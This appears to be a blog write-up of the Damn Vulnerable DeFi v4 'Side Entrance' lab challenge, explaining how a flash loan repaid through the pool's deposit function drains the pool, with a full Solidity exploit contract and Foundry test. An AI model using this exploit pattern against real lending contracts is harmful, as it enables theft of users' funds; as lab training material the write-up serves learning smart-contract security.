Challenge 4: Side Entrance, Damn vulnerable defi V4 lazy solutions series
Why Lazy?
I’ll strongly assume that you’ve gone through challenge once or more time and you’ve some understandings of the challenge contracts flows. So, I’ll potentially will go towards solution directly.
Problem statement:
Recover all eth balance from SideEntranceLenderPool.
SideEntranceLenderPool smart contract provides flashloan()
, deposit()
and withdraw()
functionality.
Examining the Smart Contract
- Deposit: This function allows users to deposit ETH into the pool. It updates the balance of the sender’s address and emits a deposit event. Interestingly, it uses an unchecked block to save gas.
function deposit() external payable {
unchecked {
balances[msg.sender] += msg.value;
}
emit Deposit(msg.sender, msg.value);
}
2. Withdraw: Users can initiate withdrawals using this function. It retrieves the current balance of the sender, deletes the user’s balance record, emits a withdrawal event, and transfers the entire ETH amount back to the sender.
function withdraw() external {
uint256 amount = balances[msg.sender];
delete balances[msg.sender];
emit Withdraw(msg.sender, amount);
SafeTransferLib.safeTransferETH(msg.sender, amount);
}
3. Flash Loan: The flash loan function offers free ETH flash loans. It checks the contract’s ETH balance, makes a callback to the receiver, and sends the requested ETH as value. Importantly, it ensures that the callback recipient pays back the borrowed tokens by comparing the contract’s balance before and after the transaction.
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
if (address(this).balance < balanceBefore)
revert RepayFailed();
}
Vulnerability
flashLoan()
function code of SideEntranceLenderPool.sol smart contract is not following standard approach of flashloan()
implementation as it's not transferring tokens+fee returns on their own but it's giving responsibility to Flash loan Receiver contract to transfer it and SideEntranceLenderPool is just verifying it by comparing current balance to previous balance.
We will request a flash loan for the entire ETH balance in the pool first, then we will “pay them back” while going through the deposit
function.
Since we paid the ETH back, the flashLoan call won’t revert, and at the same time we make the contract think that we deposited tokens (which are actually not ours).
The Attack Strategy
Solution
Let's code it then,
test/side-entrance/SideEntranceExploiter.sol
pragma solidity ^0.8.0;
import {SideEntranceLenderPool} from "../../src/side-entrance/SideEntranceLenderPool.sol";
contract SideEntranceExploiter{
SideEntranceLenderPool public pool;
address public recovery;
uint public exploitAmount;
constructor(address _pool, address _recovery, uint _amount){
pool = SideEntranceLenderPool(_pool);
recovery = _recovery;
exploitAmount = _amount;
}
function attack() external returns(bool){
uint balanceBefore = address(this).balance;
pool.flashLoan(exploitAmount);
pool.withdraw();
uint balanceAfter = address(this).balance;
require(balanceAfter > balanceBefore, "Funds has not been transferred!");
payable(recovery).transfer(exploitAmount);
return true;
}
function execute() external payable{
pool.deposit{value:msg.value}();
}
receive() external payable{}
}
test/side-entrance/SideEntrance.t.sol
function test_sideEntrance() public checkSolvedByPlayer {
SideEntranceExploiter exploiter = new SideEntranceExploiter(address(pool), recovery, ETHER_IN_POOL);
require(exploiter.attack());
}
See it in action,
forge test --mp test/side-entrance/SideEntrance.t.sol
Succeed!🔥💸
Incase if you need all solutions,
https://github.com/siddharth9903/damn-vulnerable-defi-v4-solutions
Subscribe to my newsletter
Read articles from Siddharth Patel directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
Siddharth Patel
Siddharth Patel
I'm Siddharth Patel, a Full Stack Developer and Blockchain Engineer with a proven track record of spearheading innovative SaaS products and web3 development. My extensive portfolio spans across diverse sectors, from blockchain-based tokenized investment platforms to PoS software solutions for restaurants, and from decentralized finance (DeFi) initiatives to comprehensive analytics tools that harness big data for global stock trends. Let's connect and explore how we can innovate together.